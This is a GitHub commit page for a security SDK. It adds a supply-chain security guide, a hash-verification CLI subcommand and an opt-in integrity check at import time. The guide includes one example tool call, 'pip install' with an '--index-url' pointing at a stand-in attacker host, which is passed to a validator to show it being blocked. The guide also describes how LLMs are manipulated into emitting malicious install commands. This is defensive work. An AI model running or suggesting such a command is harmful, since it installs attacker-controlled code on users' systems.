Skip to content

Commit 5e51b8e

Browse files
author
Oracles Technologies LLC
committed
v2.6.0 — supply chain integrity module, guardian verify CLI, SECURITY.md
ethicore_guardian/integrity.py (new): SHA-256 self-integrity check for all bundled SDK files. Compares hashes against data/integrity_manifest.json shipped in the wheel. Also re-verifies ONNX model files via model_signatures.json (licensed tier). Exposes verify_sdk_integrity() for programmatic use and check_on_import() triggered by GUARDIAN_VERIFY_INTEGRITY=1|strict env var. cli.py — guardian verify subcommand: guardian verify check current install (exit 0=OK, 1=tampered) guardian verify --verbose per-file pass/fail breakdown guardian verify --generate rebuild manifest from current files (build step) guardian verify --strict treat missing manifest as failure guardian verify --json machine-readable output for CI pipelines ethicore_guardian/data/integrity_manifest.json (new): Pre-computed SHA-256 baseline for 7 bundled files shipped in the wheel. Regenerated at build time; included in wheel via pyproject.toml package-data. __init__.py: Opt-in integrity check on package import via GUARDIAN_VERIFY_INTEGRITY env var. Exports verify_sdk_integrity and IntegrityResult. Bump __version__ to 2.6.0. versions.py: Bump to 2.6.0 (2026-05-18). Add supply_chain_integrity feature flag. Update ml_inference_engine to 3.2.0 (125k samples, 94 categories, 1230 fingerprints). Update pattern_analyzer to 1.2.0 (94 categories). community_guardian.py: Update stale "80+" references to "90+" throughout. pyproject.toml: Include data/integrity_manifest.json in wheel package-data. SECURITY.md (new): Public supply chain security guide covering: PyPI hash verification, requirements pinning with --require-hashes, guardian verify usage, Sigstore attestation verification, pip-audit, and detecting AI-mediated supply chain attacks via the supplyChainDependencyInjection threat category.
1 parent ad7ec7e commit 5e51b8e

8 files changed

Lines changed: 797 additions & 9 deletions

File tree

SECURITY.md

Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
# Supply Chain Security — Ethicore Engine™ Guardian SDK
2+
3+
This document explains how to verify the integrity of the Guardian SDK package
4+
and how to protect your codebase from supply chain / dependency injection attacks.
5+
6+
---
7+
8+
## Verifying the Guardian SDK Installation
9+
10+
### 1. Verify the PyPI package hash
11+
12+
Before installing, confirm that the wheel hash matches the value published on PyPI.
13+
14+
```bash
15+
# Download without installing
16+
pip download ethicore-engine-guardian==2.6.0 --no-deps -d /tmp/guardian-dl
17+
18+
# Compute SHA-256 of the downloaded wheel
19+
pip hash /tmp/guardian-dl/ethicore_engine_guardian-2.6.0-py3-none-any.whl
20+
```
21+
22+
Compare the output against the hashes listed on the [PyPI release page](https://pypi.org/project/ethicore-engine-guardian/#files).
23+
24+
### 2. Pin with hash verification in requirements files
25+
26+
Add the `--require-hashes` flag to your pip install to enforce integrity on every dependency:
27+
28+
```txt
29+
# requirements.txt
30+
ethicore-engine-guardian==2.6.0 \
31+
--hash=sha256:<paste hash from PyPI here>
32+
```
33+
34+
```bash
35+
pip install -r requirements.txt --require-hashes
36+
```
37+
38+
This ensures pip will refuse to install any version of the package that does not
39+
match the expected hash — protecting against typosquatting, index substitution, and
40+
man-in-the-middle attacks on the package registry.
41+
42+
### 3. Use the built-in `guardian verify` command
43+
44+
Starting with v2.6.0, the Guardian SDK includes a self-integrity CLI command:
45+
46+
```bash
47+
# Verify your installed Guardian SDK
48+
guardian verify
49+
50+
# Verbose — show per-file pass/fail
51+
guardian verify --verbose
52+
53+
# Machine-readable output (CI pipelines)
54+
guardian verify --json
55+
56+
# Strict mode — exits 1 if manifest is missing
57+
guardian verify --strict
58+
```
59+
60+
This checks SHA-256 hashes of all bundled Python and JSON files against the
61+
pre-computed baseline manifest shipped inside the wheel. If any file has been
62+
tampered with since the wheel was built, the mismatch is reported.
63+
64+
ONNX model files (licensed tier) are independently verified against
65+
`model_signatures.json`.
66+
67+
### 4. Automatic check on import
68+
69+
Set the environment variable to run integrity verification at package import time:
70+
71+
```bash
72+
# Warn on mismatch (recommended for most deployments)
73+
export GUARDIAN_VERIFY_INTEGRITY=1
74+
75+
# Raise RuntimeError on mismatch (security-critical pipelines)
76+
export GUARDIAN_VERIFY_INTEGRITY=strict
77+
```
78+
79+
Or programmatically:
80+
81+
```python
82+
from ethicore_guardian.integrity import verify_sdk_integrity
83+
84+
result = verify_sdk_integrity()
85+
if not result.passed:
86+
raise RuntimeError(f"Guardian SDK integrity check failed: {result.summary}")
87+
```
88+
89+
### 5. Verify Sigstore attestation (advanced)
90+
91+
Guardian SDK wheels are signed using [Sigstore](https://sigstore.dev) via GitHub
92+
Actions on every release. To verify the attestation using the `cosign` tool:
93+
94+
```bash
95+
cosign verify-attestation \
96+
--type slsaprovenance \
97+
--certificate-identity-regexp "https://github.com/OraclesTech/guardian-sdk/.*" \
98+
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
99+
/tmp/guardian-dl/ethicore_engine_guardian-2.6.0-py3-none-any.whl
100+
```
101+
102+
A successful verification confirms the wheel was built by the official CI pipeline
103+
and has not been tampered with since signing.
104+
105+
---
106+
107+
## Protecting Customer Codebases
108+
109+
### Use a private package index or allowlist
110+
111+
Configure pip to only install from approved sources:
112+
113+
```bash
114+
# Allow only PyPI
115+
pip config set global.index-url https://pypi.org/simple/
116+
pip config set global.no-index-url ""
117+
```
118+
119+
Or enforce this in `pip.conf` / `pip.ini` for your entire environment.
120+
121+
### Audit dependencies with pip-audit
122+
123+
```bash
124+
pip install pip-audit
125+
pip-audit -r requirements.txt
126+
```
127+
128+
Guardian SDK's CI pipeline runs `pip-audit` automatically on every build. You should
129+
run it in your own CI against your full dependency tree.
130+
131+
### Detect AI-mediated supply chain attacks with Guardian
132+
133+
The `supplyChainDependencyInjection` threat category (added in the API tier, v2.6.0)
134+
detects when an LLM is being manipulated into generating malicious package installation
135+
instructions targeting your development workflow. This covers:
136+
137+
- **Dependency confusion** — attacker uploads a malicious package to PyPI using your
138+
private package's name, causing pip to install it instead of your internal version.
139+
- **Typosquatting** — package name one character off from a trusted dependency.
140+
- **Index substitution**`--index-url` flag pointing to an attacker-controlled server.
141+
- **Backdoored version pinning** — model instructed to pin a dependency to a vulnerable
142+
or backdoored release.
143+
144+
Enable the check in your agentic pipeline:
145+
146+
```python
147+
from ethicore_guardian import Guardian
148+
149+
guardian = Guardian(api_key="eg-sk-...")
150+
# All tool calls and outputs are automatically scanned, including
151+
# pip/npm install commands generated by the LLM.
152+
protected_client = guardian.wrap(openai.OpenAI())
153+
```
154+
155+
Or use `ToolCallValidator` directly before executing any package-manager tool:
156+
157+
```python
158+
from ethicore_guardian.analyzers.tool_call_validator import ToolCallValidator
159+
160+
validator = ToolCallValidator()
161+
result = validator.validate("pip_install", {"cmd": "pip install somepackage --index-url http://evil.io"})
162+
if result.verdict == "BLOCK":
163+
raise RuntimeError(f"Blocked malicious tool call: {result.matches[0].description}")
164+
```
165+
166+
---
167+
168+
## Reporting Security Issues
169+
170+
Please report security vulnerabilities to:
171+
172+
**security@oraclestechnologies.com**
173+
174+
Do **not** file public GitHub issues for security vulnerabilities. We will respond
175+
within 48 hours and coordinate a responsible disclosure timeline.
176+
177+
---
178+
179+
## Existing Supply Chain Protections
180+
181+
| Protection | Status |
182+
|---|---|
183+
| PyPI package hashes published ||
184+
| Sigstore / SLSA attestations ||
185+
| Hash-pinned `requirements.lock` ||
186+
| Continuous `pip-audit` on wheel builds ||
187+
| Typosquatting stubs on PyPI | ✅ (4 variants monitored) |
188+
| SDK self-integrity check (`guardian verify`) | ✅ v2.6.0+ |
189+
| AI-mediated supply chain detection | ✅ API tier v2.6.0+ |
190+
191+
---
192+
193+
*Last updated: 2026-05-18 — Guardian SDK v2.6.0*

ethicore_guardian/__init__.py

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
"""
88

99
# Version information
10-
__version__ = "2.5.0"
10+
__version__ = "2.6.0"
1111
__author__ = "Oracles Technologies LLC"
1212

1313
# Core exports — full API-tier guardian preferred; community fallback for wheel installs
@@ -243,6 +243,10 @@
243243
'GuardianToolCallBlockedError',
244244
'GuardianToolOutputBlockedError',
245245

246+
# Supply chain integrity
247+
'verify_sdk_integrity',
248+
'IntegrityResult',
249+
246250
# Version
247251
'__version__',
248252
]
@@ -278,5 +282,13 @@ def _print_welcome():
278282
"Guardian welcome message could not be displayed: %s", _welcome_err
279283
)
280284

285+
# Supply chain integrity check — runs only when GUARDIAN_VERIFY_INTEGRITY is set.
286+
# Import is deferred so a broken integrity.py never breaks the package import.
287+
try:
288+
from .integrity import check_on_import, verify_sdk_integrity, IntegrityResult
289+
check_on_import()
290+
except ImportError:
291+
pass # integrity module unavailable — non-fatal
292+
281293
# Print welcome for interactive use
282294
_print_welcome()

ethicore_guardian/cli.py

Lines changed: 132 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,37 @@ def _build_parser() -> argparse.ArgumentParser:
8787

8888
subparsers = parser.add_subparsers(dest="command", metavar="COMMAND")
8989

90+
# ---- verify ------------------------------------------------------------
91+
verify_parser = subparsers.add_parser(
92+
"verify",
93+
help="Verify Guardian SDK supply-chain integrity",
94+
description=(
95+
"Check SHA-256 hashes of all bundled Guardian SDK files against the "
96+
"pre-computed baseline manifest. Also re-verifies ONNX model files "
97+
"against model_signatures.json when present.\n\n"
98+
"Exit codes: 0 = all OK, 1 = tampered/mismatch, 2 = internal error."
99+
),
100+
)
101+
verify_parser.add_argument(
102+
"--generate",
103+
action="store_true",
104+
help=(
105+
"Regenerate the integrity manifest from the current files and write it "
106+
"to data/integrity_manifest.json. Run this at build time, not at "
107+
"deployment time."
108+
),
109+
)
110+
verify_parser.add_argument(
111+
"--strict",
112+
action="store_true",
113+
help="Treat a missing manifest as a failure (default: warning only).",
114+
)
115+
verify_parser.add_argument(
116+
"--verbose", "-v",
117+
action="store_true",
118+
help="Show per-file pass/fail status.",
119+
)
120+
90121
# ---- analyze -----------------------------------------------------------
91122
analyze_parser = subparsers.add_parser(
92123
"analyze",
@@ -126,6 +157,97 @@ def _build_parser() -> argparse.ArgumentParser:
126157
# Command implementations
127158
# ---------------------------------------------------------------------------
128159

160+
def _run_verify(
161+
generate: bool,
162+
strict: bool,
163+
verbose: bool,
164+
as_json: bool,
165+
) -> int:
166+
"""
167+
Verify (or regenerate) the Guardian SDK integrity manifest.
168+
169+
Returns
170+
-------
171+
int
172+
0 = all OK, 1 = tampered / mismatch, 2 = internal error.
173+
"""
174+
try:
175+
from ethicore_guardian.integrity import (
176+
generate_manifest,
177+
save_manifest,
178+
verify_sdk_integrity,
179+
)
180+
except ImportError as exc:
181+
_err(as_json, f"Integrity module unavailable: {exc}")
182+
return 2
183+
184+
# ── Generate mode ────────────────────────────────────────────────────────
185+
if generate:
186+
try:
187+
manifest = generate_manifest()
188+
path = save_manifest(manifest)
189+
n = len(manifest.get("files", {}))
190+
if as_json:
191+
import json as _json
192+
print(_json.dumps({"generated": True, "path": str(path), "files_hashed": n}, indent=2))
193+
else:
194+
print(f"\n[OK] Integrity manifest generated — {n} files hashed")
195+
print(f" Written to: {path}\n")
196+
return 0
197+
except Exception as exc: # noqa: BLE001
198+
_err(as_json, f"Manifest generation failed: {exc}")
199+
return 2
200+
201+
# ── Verify mode ──────────────────────────────────────────────────────────
202+
try:
203+
result = verify_sdk_integrity(strict=strict)
204+
except Exception as exc: # noqa: BLE001
205+
_err(as_json, f"Integrity check failed: {exc}")
206+
return 2
207+
208+
if as_json:
209+
import json as _json
210+
print(_json.dumps(result.to_dict(), indent=2))
211+
return 0 if result.passed else 1
212+
213+
# Human-readable output (ASCII-safe for all platforms)
214+
icon = "[OK]" if result.passed else "[FAIL]"
215+
print()
216+
print(f"{icon} {result.summary}")
217+
218+
if result.warnings:
219+
for w in result.warnings:
220+
print(f" [WARN] {w}")
221+
222+
if result.errors:
223+
for e in result.errors:
224+
print(f" [ERROR] {e}")
225+
226+
if result.files_checked > 0:
227+
print(
228+
f"\n Files : {result.files_passed}/{result.files_checked} passed"
229+
+ (f" ({result.files_failed} FAILED)" if result.files_failed else "")
230+
)
231+
if result.onnx_checked:
232+
onnx_tag = "[OK]" if result.onnx_verified else "[FAIL]"
233+
print(f" ONNX : {onnx_tag} {'verified' if result.onnx_verified else 'TAMPERED'}")
234+
235+
if verbose and result.file_results:
236+
print("\n Per-file results:")
237+
for fr in result.file_results:
238+
status_tag = "[OK] " if fr.passed else "[FAIL]"
239+
print(f" {status_tag} {fr.path:<40} {fr.status}")
240+
if not fr.passed and not as_json:
241+
if fr.error:
242+
print(f" error: {fr.error}")
243+
elif fr.actual_hash:
244+
print(f" expected: {fr.expected_hash}")
245+
print(f" actual : {fr.actual_hash}")
246+
247+
print()
248+
return 0 if result.passed else 1
249+
250+
129251
async def _run_analyze(
130252
text: str,
131253
api_key: Optional[str],
@@ -314,7 +436,16 @@ def main() -> None:
314436
api_key: Optional[str] = getattr(args, "api_key", None)
315437
as_json: bool = getattr(args, "as_json", False)
316438

317-
if args.command == "analyze":
439+
if args.command == "verify":
440+
exit_code = _run_verify(
441+
generate=args.generate,
442+
strict=args.strict,
443+
verbose=args.verbose,
444+
as_json=as_json,
445+
)
446+
sys.exit(exit_code)
447+
448+
elif args.command == "analyze":
318449
exit_code = asyncio.run(
319450
_run_analyze(
320451
text=args.text,

0 commit comments

Comments
 (0)